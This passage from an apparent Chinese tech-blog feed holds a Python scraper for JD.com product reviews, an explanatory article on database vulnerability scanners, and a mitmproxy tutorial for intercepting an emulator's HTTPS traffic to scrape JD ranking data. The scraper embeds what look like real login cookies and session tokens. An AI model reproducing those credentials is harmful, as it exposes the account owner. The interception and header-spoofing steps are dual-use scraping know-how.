# 浏览器访问伪装 headers = { \u0026#39;cookie\u0026#39;: \u0026#39;___jdu=16953916127351737253418; shshshfpa=423ebd76-fc1a-89d5-d47a-a981cedfdsf57-1686fds5177; shshshfpx=423ebd76-fc1a-89d5-d47a-a981ced31f57-1686405177; pinId=OlFK9xcJEZ3Ep3CJn7-LwLV9-x-f3wj7; pin=jd_5ab1043c91fdff; unick=xiejava; _tp=xRz2UIA0gXgQ0KtQA8IW%2BhMgOusl53MovCk%2FP0TxaIM%3D; _pst=jd_5ab1043c91bff; PCSYCityID=CN_430000_430100_0; areaId=18; ipLoc-djd=18-1482-48942-49058; b_dh=1179; b_dpr=1.100000023841858; b_webp=1; b_avif=1; autoOpenApp_downCloseDate_auto=1705396790105_1800000; b_dw=1555; __jdv=91748099|baidu|-|organic|notset|1705397493195; jsavif=1; mba_muid=16953916127351737253418; wlfstk_smdl=4d5qhwajihbur3xtxm1dghq2bwl9ebii; 3AB9D23F7A4B3C9B=ONVXQU6KOVA46KLMDJWYJ2CLCGZLCKH4NFEKT6ANBHIYQJBOWM3KHFJ3RT5NO6GKP2BQVONOJWLAKMJUMNJOAMEHJE; TrackID=1wLmzwr1GPygNiM7hoidalzvJbkLlnJRs7c_e2wlsv7h_VHaLyqnXTiW1_vIDBhlEusopAT977EO67KV2n2vMV9jMUQx8MO9jJQMMv8skxrE; thor=C1CD4973B7F47EE1FE45201B5AB2281DC485D58F5BD12AA8CEC6335A9B07F5E3F1BFD9D9DEA859A32AEDE0F33C45B55AA44327ACD87A8E174C645BE4BC987735B3DD969561D2D0AA492DD1FEC1A793AF265724B02F9850F35F0CA58E8E4A5A3C212B0734C80AD560D299EC59026506C127E953C92D271932DDDBF32BEC59091745A6CB143671358CC8A866B9A298AA865F60B9AC41AD05C6EB6781C131BD05DD; flash=2_7Kqrs87KZ1MjgKXGB8QJTs9NjTmYiJCdEV8xYwXCMezATHn-bD7kirFJuQx5ogyzo_yuQHefS-MTOx8D5rxn-5ZxA8-qMHyBfYw-1ULH1bq*; ceshi3.com=103; __jdc=181111935; token=7482844f43473090375d99ad860b4294,3,947486; __tk=mLVlrKTimJznoD3PmcVvYmZmldTlkbVaommnjmTankZOmmPDolZTZmTfSJvkYRmblDzYrLKC,3,947486; shshshsID=a8f2acdf15967d81d4c5d8b5a45b7796_1_1705476526446; 3AB9D23F7A4B3CSS=jdd03ONVXQU6KOVA46KLMDJWYJ2CLCGZLCKH4NFEKT6ANBHIYQJBOWM3KHFJ3RT5NO6GKP2BQVONOJWLAKMJUMNJOAMEHJEAAAAMNCZJJB5QAAAAAD26SPFPWINAFQMX; _gia_d=1; shshshfpb=BApXeNARaFehAyBNmDl1nYWazwPZ1Fa6NB8QBVlhW9xJ1Mt5if4S2; __jda=181111935.16953916127351737253418.1695391613.1705471486.1705476528.12; __jdb=181111935.1.16953916127351737253418|12.1705476528; joyya=1705472508.1705476529.27.0u3hno2\u0026#39;, \u0026#39;referer\u0026#39;: \u0026#39;https://item.jd.com/\u0026#39;, \u0026#39;user-agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37\u0026#39;, } jd_prod_pic_save_path = \u0026#39;jd_prod_pic\u0026#39; # 图片保存目录 page_range = 50 # 翻50页取500条记录 def getJDProdComment(prod_skuId): big_pag_path = \u0026#39;//img30.360buyimg.com/shaidan/s616x405_jfs/\u0026#39; # 评价大图地址 tiny_pag_path = \u0026#39;//img30.360buyimg.com/n0/s128x96_jfs/\u0026#39; # 评价缩略图地址 for i in range(page_range): comments_url = \u0026#39;https://api.m.jd.com/?appid=item-v3\u0026amp;functionId=pc_club_productPageComments\u0026amp;client=pc\u0026amp;clientVersion=1.0.0\u0026amp;t=1705853247039\u0026amp;loginType=3\u0026amp;uuid=181111935.16953916127351737253418.1695391613.1705847111.1705852812.35\u0026amp;productId=\u0026#39;+str(prod_skuId)+\u0026#39;\u0026amp;score=0\u0026amp;sortType=5\u0026amp;page=\u0026#39;+str(i)+\u0026#39;\u0026amp;pageSize=10\u0026amp;isShadowSku=0\u0026amp;fold=1\u0026amp;bbtf=\u0026amp;shield=\u0026#39; data = requests.get(comments_url, headers=headers) if data: content_data=data.content.decode(\u0026#39;utf-8\u0026#39;) json_data=json.loads(content_data) print(json_data) if i == 0: productCommentSummary=json_data.get(\u0026#39;productCommentSummary\u0026#39;) print(prod_skuId, str(productCommentSummary)) hotCommentTagStatistics=json_data.get(\u0026#39;hotCommentTagStatistics\u0026#39;) print(prod_skuId,str(hotCommentTagStatistics)) comments=json_data.get(\u0026#39;comments\u0026#39;) if comments and len(comments)\u0026gt;0: for comment in comments: prod_comment_guid=comment.get(\u0026#39;guid\u0026#39;) prod_comment_content=str(comment.get(\u0026#39;content\u0026#39;)) prod_comment=str(comment) images=comment.get(\u0026#39;images\u0026#39;) savepath=os.path.join(jd_prod_pic_save_path,str(prod_skuId),\u0026#39;comments\u0026#39;,prod_comment_guid) if images and len(images)\u0026gt;0: for image in images: str_image_url=image.get(\u0026#39;imgUrl\u0026#39;).replace(tiny_pag_path, big_pag_path) image_url=\u0026#39;https:\u0026#39;+str_image_url filename=os.path.basename(image_url) downloadfile(image_url, savepath, filename) #下载图片 time.sleep(sleeptime) print(prod_comment_guid,prod_skuId,prod_comment_content,prod_comment) time.sleep(sleeptime) def downloadfile(downloadurl,savepath,savefilename): savefile = os.path.join(savepath, savefilename) try: if not os.path.exists(savepath): os.makedirs(savepath) # 判断文件是否存在，如果不存在则下载 if not os.path.isfile(savefile): print(\u0026#39;Downloading data from %s\u0026#39; % downloadurl) urlretrieve(downloadurl, filename=savefile) print(\u0026#39;\\nDownload finished!\u0026#39;) else: print(\u0026#39;File already exsits!\u0026#39;) # 获取文件大小 filesize = os.path.getsize(savefile) # 文件大小默认以Bytes计， 转换为Mb print(\u0026#39;File size = %.2f Mb\u0026#39; % (filesize / 1024 / 1024)) except Exception as e: print(\u0026#39;downloadfile Error:\u0026#39;, e) if __name__ == \u0026#39;__main__\u0026#39;: getJDProdComment(\u0026#39;100087971268\u0026#39;) 以上代码中的Cookie信息，需要根据自己登录后从chrome浏览器的调试模式中拿到的Cookie信息替换。\n2、运行效果 运行效果：\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-11-python%E7%88%AC%E5%8F%96%E4%BA%AC%E4%B8%9C%E5%95%86%E5%93%81%E8%AF%84%E4%BB%B7%E4%BF%A1%E6%81%AF%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e\u003cimg alt=\"网络爬虫\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240311/0%E3%80%81%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB.png\"\u003e\u003c/p\u003e\n\u003cp\u003e上期介绍了通过《\u003ca href=\"http://xiejava.ishareread.com/posts/81e07ee2/\"\u003emitmproxy实战-通过mitmdump爬取京东金榜数据\u003c/a\u003e》，能够上京东金榜的商品一般评价都是比较好的，这次介绍如何爬取京东商品的评价信息。\u003c/p\u003e\n\u003ch2 id=\"一分析商品评价的页面信息\"\u003e一、分析商品评价的页面信息\u003c/h2\u003e\n\u003ch3 id=\"1请求参数分析\"\u003e1、请求参数分析\u003c/h3\u003e\n\u003cp\u003e京东的商品评价信息是在商品的详情页面，我们随便访问一个京东的商品详情页面如\u003ca href=\"https://item.jd.com/100087971268.html\"\u003ehttps://item.jd.com/100087971268.html\u003c/a\u003e\n在这里可以看到100087971268就是商品ID也是商品的skuId，这个是商品的唯一ID可以和很过信息关联。我们可以通过chrome浏览器的调试模式来分析商品评价信息的数据是如何获取和展示的。\n通过chrome浏览器的调试模式可以看到，评价信息是通过\u003ccode\u003ehttps://api.m.jd.com/?appid=item-v3\u0026amp;functionId=pc_club_productPageComments\u0026amp;client=pc\u0026amp;clientVersion=1.0.0\u0026amp;t=1710122207175\u0026amp;loginType=3\u0026amp;uuid=181111935.16953916127351737253418.1695391613.1709713566.1710121957.56\u0026amp;productId=100087971268\u0026amp;score=0\u0026amp;sortType=5\u0026amp;page=0\u0026amp;pageSize=10\u0026amp;isShadowSku=0\u0026amp;fold=1\u0026amp;bbtf=\u0026amp;shield=\u003c/code\u003e\n这个接口来返回的，其中关键的信息包括functionId=pc_club_productPageComments，productId=100087971268，page=0\u0026amp;pageSize=10。\n\u003ccode\u003eproductId=100087971268\u003c/code\u003e表示是获取商品ID为100087971268的商品评价，\u003ccode\u003epage=0\u0026amp;pageSize=10\u003c/code\u003e表示当前页是0，每页显示10条记录。\u003c/p\u003e","title":"Python爬取京东商品评价信息实战"},{"content":"随着信息技术的迅猛发展和互联网的普及，数据库作为存储、管理和检索大量数据的关键组件，其安全性对于企业和组织来说至关重要。然而，由于网络环境的复杂性和攻击手段的多样性，数据库面临着越来越多的安全威胁。黑客可能利用已知的漏洞或弱点，对数据库进行非法访问、数据窃取或篡改，从而给企业和组织带来巨大的经济损失和声誉风险。\n为了应对这些安全挑战，数据库漏洞扫描系统应运而生。该系统基于漏洞数据库，通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测，发现可利用的漏洞。它能够帮助企业和组织及时发现并修复数据库中的安全漏洞，提高数据库的安全防护能力，降低潜在的安全风险。\n本文让我们一起来认识一下数据库漏洞扫描系统。\n一、什么是数据库漏洞扫描系统 数据库漏洞扫描系统是一种专业的数据库安全产品，它基于对数据库访问控制、数据库审计、资源管理、数据库加密以及数据库系统本身安全机制的深入分析，深入研究和发现数据库系统本身存在的BUG以及数据库管理、使用中存在的问题。\n该系统的核心功能在于对数据库系统进行自动化安全评估。通过读取数据库的信息与安全策略进行综合分析，能够充分扫描出数据库系统的安全漏洞和威胁，并自动给出详细的漏洞描述、漏洞来源及修复建议。此外，它还提供智能的修复建议和完整的数据库漏洞报告、数据库安全评估报告，帮助用户进行漏洞修复，从而保护数据库的安全。\n数据库漏洞扫描系统的主要特性之一是拥有全面的漏洞库，支持CVE、CNNVD等披露的数据库安全漏洞，并按高、中、低、信息四个级别进行不同层级的漏洞威胁排列。这使得系统能够更准确地识别和评估数据库中的安全风险。\n数据库漏洞扫描系统是数据库安全评估工具之一，能够找出数据库自身的安全漏洞和使用中的安全隐患。\n二、数据库漏洞扫描系统的发展历程 数据库漏洞扫描系统的发展历程是一个伴随着数据库技术、网络安全威胁以及信息技术发展的不断演进过程。 在早期，数据库的安全主要依赖于基本的访问控制和加密技术，但随着网络攻击手段的不断升级和复杂化，传统的安全措施已经无法满足需求。因此，对数据库进行漏洞扫描和风险评估的需求逐渐凸显。\n随着技术的发展，数据库漏洞扫描系统开始兴起。这些系统能够自动化地检测数据库中的安全漏洞，提供修复建议，并帮助用户保持数据库的安全健康状态。它们基于漏洞数据库，通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测，发现可利用的漏洞。\n随着时间的推移，数据库漏洞扫描系统不断发展和完善。它们不仅支持更多的数据库类型和版本，还提供了更全面的漏洞检测和修复建议。此外，一些高级的数据库漏洞扫描系统还具备了合规性检查、弱口令检测等功能，能够更好地满足用户的安全需求。\n近年来，随着云计算、大数据、人工智能等技术的快速发展，数据库漏洞扫描系统也迎来了新的发展机遇。通过集成这些先进技术，数据库漏洞扫描系统能够更加高效、准确地发现安全漏洞，提供更为智能的修复方案，为用户的数据库安全保驾护航。\n数据库漏洞扫描系统的发展历程是一个不断进步和完善的过程，它随着数据库技术和网络安全威胁的发展而不断演进，为用户提供更加全面、高效的安全保障。\n三、数据库漏洞扫描系统的主要功能 数据库漏洞扫描系统具备多种功能，这些功能共同协作，以全面评估数据库的安全性并发现潜在的安全风险。主要功能包括：\n漏洞检测与发现：这是数据库漏洞扫描系统的核心功能。它能够扫描并检测数据库系统中的各种漏洞，包括已知和未知的漏洞。这些漏洞可能涉及SQL注入、跨站脚本攻击（XSS）、未授权访问等安全风险。 安全风险评估：在发现漏洞后，系统能够对这些漏洞进行风险评估，判断其可能对数据库系统造成的潜在影响。这有助于用户优先处理那些风险较高的漏洞。 修复建议与报告：基于漏洞检测和风险评估的结果，系统能够生成详细的修复建议和报告。这些建议通常包括如何修复漏洞、加强数据库安全配置、更新补丁等，帮助用户及时消除潜在的安全风险。 多平台与多数据库支持：系统需要支持多种操作系统和数据库管理系统，以确保无论用户使用的是哪种数据库或操作系统，都能进行有效的扫描和评估。 自定义扫描策略：系统应允许用户定义自定义的扫描策略，以满足特定的安全需求和环境。这可以包括扫描的深度、范围、时间等参数的设置。 定期扫描与监控：数据库漏洞扫描系统还应具备定期扫描和监控功能，以便及时发现并处理新的安全威胁。这有助于保持数据库系统的持续安全性。 四、数据库漏洞扫描系统的基本原理 数据库漏洞扫描系统的原理基于自动化的安全测试技术，用于检测数据库系统中存在的潜在安全漏洞。以下是该系统的基本原理：\n信息收集：首先，扫描系统会对目标数据库进行信息收集。这包括获取数据库的类型、版本、配置信息，以及运行的操作系统和服务等。这些信息有助于确定扫描的范围和策略，以及为后续的漏洞检测提供基础数据。 漏洞检测规则：系统内置了大量的漏洞检测规则，这些规则是根据已知的安全漏洞和攻击手法编写的。这些规则可能涉及SQL注入、跨站脚本攻击（XSS）、权限提升等常见的数据库安全威胁。 扫描与测试：利用上述的漏洞检测规则，扫描系统会对数据库进行深入的扫描和测试。这可能包括发送特定的查询请求到数据库，观察和分析数据库的响应，以及尝试利用潜在的漏洞。 漏洞验证：当扫描系统发现潜在的漏洞时，它会尝试进一步验证这些漏洞的存在和利用性。这通常涉及更复杂的测试和攻击模拟，以确保检测到的漏洞是真实存在的，并且可以被攻击者利用。 报告与修复建议：最后，扫描系统会生成详细的漏洞报告，列出所有检测到的漏洞及其严重程度。同时，系统还会提供修复建议，帮助数据库管理员或安全专家及时修复这些漏洞，提高数据库的安全性。 需要注意的是，数据库漏洞扫描系统虽然功能强大，但也存在一定的局限性。它可能无法检测到所有类型的漏洞，特别是那些新出现或特定环境下的漏洞。此外，系统的准确性和可靠性也受到多种因素的影响，如扫描策略的选择、数据库环境的复杂性等。因此，在使用数据库漏洞扫描系统时，需要结合其他安全措施和人工分析，以确保数据库的安全性。\n五、为什么企业需要数据库漏洞扫描系统 黑客常利用数据库的各种漏洞来对数据库进行攻击，例如数据库用户密码的脆弱性，非法的远程连接，数据库用户占用CPU会话数过多等。对于不同的数据库，漏洞也不同。如：目前oracle数据库的漏洞就有超过1000项，SQL Server有超过500项。只要一个漏洞被黑客利用，数据库就有被破坏的危险。还有一点也很重要，操作系统安全不能说明数据库是安全的。辟如我们目前使用的数据库大部分都是关系型数据库，而关系型数据库一般都是通过端口的方式来进行访问的，这种访问方式是可以绕开操作系统的验证的。\n企业之所以需要数据库漏洞扫描系统，主要基于以下几个方面的原因：\n识别与修复安全漏洞：数据库是企业存储关键信息和数据的核心组件，其安全性至关重要。然而，由于软件研发过程中可能存在的普遍问题，如引用第三方开源代码和运行环境的不确定性，数据库可能面临各种已知和未知的漏洞。数据库漏洞扫描系统能够自动化地扫描数据库，识别出潜在的安全漏洞，并提供修复建议。这有助于企业及时发现并修复安全漏洞，降低资产风险。 满足法律合规要求：在数字化时代，网络安全等级保护等法规要求企业对其信息系统进行安全漏洞的检测和修补。数据库漏洞扫描系统能够帮助企业满足这些法律合规要求，确保企业信息系统的安全。 提高安全管理效率：传统的安全管理方式可能耗时且效率低下，而数据库漏洞扫描系统能够自动化执行漏洞扫描，大大提高安全检测的效率和准确性。同时，系统还能提供针对性的安全建议，帮助企业优化其安全策略和措施，从而进一步提高网络安全水平。 增强品牌声誉和客户信任：通过及时发现并修复数据库的安全漏洞，企业能够防止数据泄露和系统崩溃等安全事件的发生，从而保护客户信息的安全。这有助于增强客户对企业的信任，提高品牌声誉，为企业赢得更多的商业机会。 综上所述，企业在日常运营中应充分考虑引入并使用数据库漏洞扫描系统。\n六、数据库漏洞扫描系统的部署方式 数据库漏洞扫描系统的部署方式主要可以分为以下几种：\n网络集成部署：这种方式是将数据库漏洞扫描系统部署在网络中的某个节点，使其能够与网络中的数据库进行通信并执行扫描任务。这种部署方式通常需要对网络架构进行一定的配置，以确保扫描系统能够顺利访问目标数据库。 分布式部署：对于大型网络或分布式数据库环境，可以采用分布式部署方式。这意味着在多个网络节点或数据库服务器上部署扫描系统的组件，以实现并行扫描和集中管理。这种部署方式可以提高扫描效率，并更好地适应复杂网络环境的需求。 独立部署：在某些情况下，数据库漏洞扫描系统可以独立部署在单个设备或服务器上。这种方式适用于对特定数据库或特定环境进行单独的扫描任务。独立部署可以确保扫描系统的独立性和安全性，避免与其他系统或网络产生冲突。 需要注意的是，具体的部署方式应根据实际情况和需求进行选择。在选择部署方式时，需要考虑网络架构、数据库类型、扫描需求以及安全性等因素。同时，部署过程中需要确保遵循相关的安全标准和最佳实践，以确保扫描系统的正常运行和数据的安全性。\n七、为什么系统漏洞扫描/网络漏洞扫描系统不能代替数据库漏洞扫描系统？ 系统漏洞扫描系统是检查操作系统中存在的漏洞，其扫描对象是操作系统，操作系统是大型数据库系统的运行平台，为数据库系统提供一定程度的安全保护。但是当入侵是通过数据库开放的端口进行时，操作系统就无能为力了。\n网络漏洞扫描系统是一种基于网络的漏洞扫描和分析工具软件，能够自动检查主机、网络设备的安全漏洞。系统管理员利用漏洞扫描技术对局域网络、Web站点、主机操作系统、系统服务以及防火墙系统的安全漏洞进行扫描，可以能够及时发现网络漏洞并在网络攻击者扫描和利用之前予以修补，从而提高网络的安全。\n相比之下，数据库漏洞扫描系统专门针对数据库进行安全检测。数据库系统的安全性很大程度上是依赖于数据库管理系统。如果数据库管理系统的安全机制非常强大，则数据库系统的安全性能就较好。数据库漏洞扫描系统它能够识别数据库中的安全漏洞，包括SQL注入、未授权访问等数据库特有的安全威胁。此外，数据库漏洞扫描系统还能评估数据库的配置和权限设置，发现潜在的安全风险，并提供相应的修复建议。\n虽然系统漏洞扫描和网络漏洞扫描系统能够提升整体网络安全水平，但它们无法替代数据库漏洞扫描系统在数据库安全方面的专业性和深入性。为了全面保障网络安全，需要综合运用多种扫描系统，从多个层面进行安全检测和防护。\n八、数据库漏洞扫描系统的局限性和挑战 数据库漏洞扫描系统能够发现数据库中的安全漏洞并提供修复建议，但也存在一些局限性和挑战。如：\n无法检测所有漏洞：尽管数据库漏洞扫描系统可以检测大量的已知漏洞，但它可能无法检测到所有类型的漏洞。特别是对于那些新出现的、未知的或者特定环境下的漏洞，系统可能无法进行有效识别。 误报和漏报的可能性：在某些情况下，系统可能会误报一些并非真正存在的漏洞，或者漏报一些实际存在的安全风险。这可能是由于扫描过程中的一些技术限制或者环境差异导致的。 依赖于数据库的配合：数据库漏洞扫描系统通常需要数据库的配合才能进行完整的扫描。如果数据库管理员不提供足够的权限或者对扫描过程进行限制，系统可能无法全面评估数据库的安全性。 需要人工分析和判断：尽管系统可以生成详细的漏洞报告和修复建议，但最终的决策和修复工作仍然需要由数据库管理员或安全专家来执行。因此，对人员的专业技能和经验有一定要求。 对复杂环境的挑战：在复杂的数据库环境中，如分布式数据库、云数据库等，数据库漏洞扫描系统可能面临更大的挑战。这些环境可能涉及多个组件、网络和安全策略，使得扫描和评估过程更加复杂和困难。 针对以上挑战，数据库漏洞扫描系统的发展趋势主要体现在以下几个方面：\n技术集成与智能化：随着人工智能、大数据等技术的快速发展，数据库漏洞扫描系统将更加注重技术的集成和智能化。例如，通过集成机器学习和深度学习算法，系统能够更精准地识别和分析漏洞，提供更为智能化的修复建议。 云化与平台化：云计算的普及使得越来越多的应用和服务迁移到云端。因此，数据库漏洞扫描系统也将逐步云化，为用户提供更为便捷、灵活的服务。同时，平台化也是一个重要的发展趋势，通过构建统一的安全管理平台，实现多种安全工具和服务的集成和协同。 全面性与精细化：随着数据库类型的多样化和复杂性的增加，数据库漏洞扫描系统需要支持更多的数据库类型和版本，并提供更为全面和精细化的漏洞检测。这意味着系统需要不断更新和优化漏洞数据库，提高检测的准确性和效率。 合规性与标准化：随着网络安全法规的不断完善，数据库漏洞扫描系统需要更加注重合规性和标准化。系统需要能够按照相关法规和标准进行检测和报告，帮助企业满足法律合规要求。 自动化与响应式安全：自动化是数据库漏洞扫描系统的重要发展方向。通过实现自动化的扫描、分析和修复流程，可以大大提高安全管理的效率。同时，响应式安全也是未来的一个关键趋势，系统需要能够实时监测数据库的安全状况，对新的漏洞和威胁进行快速响应。 综上所述，数据库漏洞扫描系统的发展趋势是多元化、集成化、云化、平台化、全面化、精细化、合规化、自动化和响应式安全。这些趋势将有助于提升数据库漏洞扫描系统的性能和功能，为企业提供更为全面、高效和智能的安全保障。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-07-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e随着信息技术的迅猛发展和互联网的普及，数据库作为存储、管理和检索大量数据的关键组件，其安全性对于企业和组织来说至关重要。然而，由于网络环境的复杂性和攻击手段的多样性，数据库面临着越来越多的安全威胁。黑客可能利用已知的漏洞或弱点，对数据库进行非法访问、数据窃取或篡改，从而给企业和组织带来巨大的经济损失和声誉风险。\u003c/p\u003e","title":"数据安全之认识数据库漏洞扫描系统"},{"content":"\n对于APP的数据爬取或需要构建复杂的接口参数数据的爬取可以通过mitmproxy抓包还原流量，解析流量数据包来获取。mitmproxy是一个免费的开源交互式的HTTPS代理工具。它类似于其他抓包工具如WireShark和Fiddler，支持抓取HTTP和HTTPS协议的数据包，并可以通过控制台形式进行操作。mitmproxy具有两个非常有用的组件：mitmdump和mitmweb。mitmdump是mitmproxy的命令行接口，可以直接抓取请求数据。\n本文介绍通过通过mitmdump爬取京东金榜数据。\n京东金榜只有H5小程序和京东APP才有，用直接http请求来爬取数据很麻烦需要找到相应的接口构建很复杂的参数。通过mitmproxy代理抓包，从流量包中解析需要的数据相对来说要容易得多。\n一、准备工作 安装mitmproxy并配置客户端。具体步骤见《mitmproxy安装与配置》 如果需要通过APP爬取，需要安装APP的模拟器，这里推荐用夜神模拟器。 启动模拟器后APP的网络配置一样的要配置通过mitmproxy的代理，因为APP一般都是通过HTTPS访问的，还需要安装证书。\n1、模拟器安卓操作系统安装证书 夜神模拟器可以直击访问本地的windows目录和模拟器的安卓目录，我们需要将mitmproxy的安卓证书传输到模拟器的安卓文件夹，点击夜神模拟器的文件助手 将mitmproxy的安卓证书传到安卓端。 安装证书： 安卓模拟器\u0026ndash;\u0026gt;设置\u0026ndash;\u0026gt;安全\u0026ndash;\u0026gt;从SD卡安装 选择开始传到安卓文件夹中的证书文件 输入PIN码 为证书取个名字如mitmproxy，点击确定就可以了 查看证书可以点击“用户凭据” 可以看到mitmproxy的CA证书已经安装好了。 2、模拟器安卓操作系统配置代理 安装好了CA证书，还要配置模拟器安卓操作系统的网络代理。 点击模拟其中的无线和网络中的WLAN 选择默认的无线连接WiredSSID在弹出的菜单中选择“修改网络” 设置mitmproxy的服务器主机IP和代理服务器端口，服务器主机IP就是宿主机windows主机的IP，端口就是起mitmproxy服务的端口。 mitmproxy和模拟器都准备好以后就可以分析京东金榜的数据了。\n二、分析数据 京东金榜H5小程序的地址是 https://h5.m.jd.com/babelDiy/Zeus/32xRoXWmepbBVHfDMoHMw2kGfHdF/index.html 我们可以用浏览器访问这个地址来分析需要爬取数据的接口和相应返回的数据格式。在这里可以到到京东金榜的数据接口是https://api.m.jd.com/client.action，通过POST请求来获取的金榜数据。 通过Preview仔细分析数据接口返回的金榜数据的JSON格式 接下来我们就要根据接口和JSON格式的数据来写代码获取并解析相应的数据信息。\n三、爬取数据 在这里我们通过response接口获取通过mitmproxy代理后的流量进行解析，实现对京东金榜数据的获取。爬取数据的jdrank_scripts.py具体代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import json def response(flow): url = \u0026#39;https://api.m.jd.com/client.action\u0026#39; if flow.request.url.startswith(url): text = flow.response.text json_data = json.loads(text) #print(json_data) #获取金榜排行 if (\u0026#39;result\u0026#39; in json_data) and (\u0026#39;tabs\u0026#39; in json_data[\u0026#39;result\u0026#39;]): getMainGoldRank(json_data) #获取金榜排行商品列表 if (\u0026#39;result\u0026#39; in json_data) and (\u0026#39;mainRank\u0026#39; in json_data[\u0026#39;result\u0026#39;]): getJDProductInfo(json_data) #获取商品信息 if flow.request.url.startswith(url): text = flow.response.text json_data = json.loads(text) if (\u0026#39;floors\u0026#39; in json_data) and len(json_data[\u0026#39;floors\u0026#39;])\u0026gt;1: prod_skuId=json_data[\u0026#39;floors\u0026#39;][0].get(\u0026#39;data\u0026#39;).get(\u0026#39;extMap\u0026#39;).get(\u0026#39;skuId\u0026#39;) prod_introduceInfo=text print(\u0026#39;-------prod_skuId-------:+++\u0026#39;,prod_skuId) print(prod_skuId, prod_introduceInfo) # 获取金榜列表 def getMainGoldRank(json_data): tabs = json_data[\u0026#39;result\u0026#39;][\u0026#39;tabs\u0026#39;] for tab in tabs: tabName = tab[\u0026#39;tabName\u0026#39;] # 榜单名称 tabData = tab[\u0026#39;data\u0026#39;] # 榜单数据 print(type(tabData)) if type(tabData) is list: for rankdata in tabData: rankId = rankdata[\u0026#39;id\u0026#39;] rankTitle = rankdata[\u0026#39;name\u0026#39;] rankType = rankdata[\u0026#39;rankType\u0026#39;] skuId=None print(tabName, rankId, rankType, rankTitle, skuId) if type(tabData) is dict: relatedAdvIds = tab[\u0026#39;relatedAdvIds\u0026#39;] if type(relatedAdvIds) is list: for relatedAdvId in relatedAdvIds: rankList = tabData[relatedAdvId][\u0026#39;rankList\u0026#39;] for rankdata in rankList: rankId = rankdata[\u0026#39;rankId\u0026#39;] rankTitle = rankdata[\u0026#39;rankType\u0026#39;] rankType = rankdata[\u0026#39;rankTitle\u0026#39;] skuId = rankdata[\u0026#39;skuId\u0026#39;] print(tabName, rankId, rankType, rankTitle, skuId) #获取JD金榜商品概要信息 def getJDProductInfo(json_data): #if (\u0026#39;result\u0026#39; in json_data) and (\u0026#39;mainRank\u0026#39; in json_data[\u0026#39;result\u0026#39;]): print(json_data) try: products=json_data[\u0026#39;result\u0026#39;][\u0026#39;mainRank\u0026#39;][\u0026#39;products\u0026#39;] prod_main_rank=json_data[\u0026#39;result\u0026#39;][\u0026#39;mainRank\u0026#39;] prod_rankId=prod_main_rank.get(\u0026#39;id\u0026#39;) #判断如果没有在main_gold_rank表中则添加记录至main_gold_rank表 rankTitle=prod_main_rank.get(\u0026#39;name\u0026#39;) print(\u0026#39;\u0026#39;, prod_rankId,rankTitle , 13, \u0026#39;\u0026#39;) for product in products: prod_skuId = product[\u0026#39;product\u0026#39;][\u0026#39;skuId\u0026#39;] prod_name = product[\u0026#39;product\u0026#39;][\u0026#39;name\u0026#39;] prod_img = product[\u0026#39;product\u0026#39;][\u0026#39;img\u0026#39;] prod_skuSallingPoint = product.get(\u0026#39;skuSallingPoint\u0026#39;) prod_saleInfoStr = product.get(\u0026#39;saleInfoStr\u0026#39;) prod_simpleSaleInfoStr = product.get(\u0026#39;simpleSaleInfoStr\u0026#39;) prod_totalBuyInfoStr = product.get(\u0026#39;totalBuyInfoStr\u0026#39;) prod_goodCountStr = product.get(\u0026#39;goodCountStr\u0026#39;) prod_simpleGoodCountStr = product.get(\u0026#39;simpleGoodCountStr\u0026#39;) prod_totalPopularity = product.get(\u0026#39;totalPopularity\u0026#39;) prod_popularityStr = product.get(\u0026#39;popularityStr\u0026#39;) prod_cmttTag = product.get(\u0026#39;cmttTag\u0026#39;) prod_longTitle = product.get(\u0026#39;longTitle\u0026#39;) prod_authorityScore = product.get(\u0026#39;authorityScore\u0026#39;) prod_saleScore = product.get(\u0026#39;saleScore\u0026#39;) prod_popularityScore = product.get(\u0026#39;popularityScore\u0026#39;) prod_growthScore = product.get(\u0026#39;growthScore\u0026#39;) prod_praiseScore = product.get(\u0026#39;praiseScore\u0026#39;) prod_brandScore = product.get(\u0026#39;brandScore\u0026#39;) prod_brandStr = product.get(\u0026#39;brandStr\u0026#39;) prod_growthStr = product.get(\u0026#39;growthStr\u0026#39;) prod_sortedSaleIfoStr = product.get(\u0026#39;sortedSaleIfoStr\u0026#39;) prod_rankNum = product.get(\u0026#39;rankNum\u0026#39;) print(prod_rankId,prod_skuId,prod_name,prod_img,prod_skuSallingPoint,prod_saleInfoStr,prod_simpleSaleInfoStr,prod_totalBuyInfoStr, prod_goodCountStr,prod_simpleGoodCountStr,prod_totalPopularity,prod_popularityStr,prod_cmttTag,prod_longTitle, prod_authorityScore,prod_saleScore,prod_popularityScore,prod_growthScore,prod_praiseScore,prod_brandScore,prod_brandStr,prod_growthStr,prod_sortedSaleIfoStr,prod_rankNum) except Exception as e: print(\u0026#39;getJDProductInfo Error:\u0026#39;, e) 通过运行 mitmdump -s jdrank_scripts.py 用浏览器访问京东H5的小程序https://h5.m.jd.com/babelDiy/Zeus/32xRoXWmepbBVHfDMoHMw2kGfHdF/index.html 从H5的小程序访问获取京东金榜的排行数据 获取京东金榜商品信息 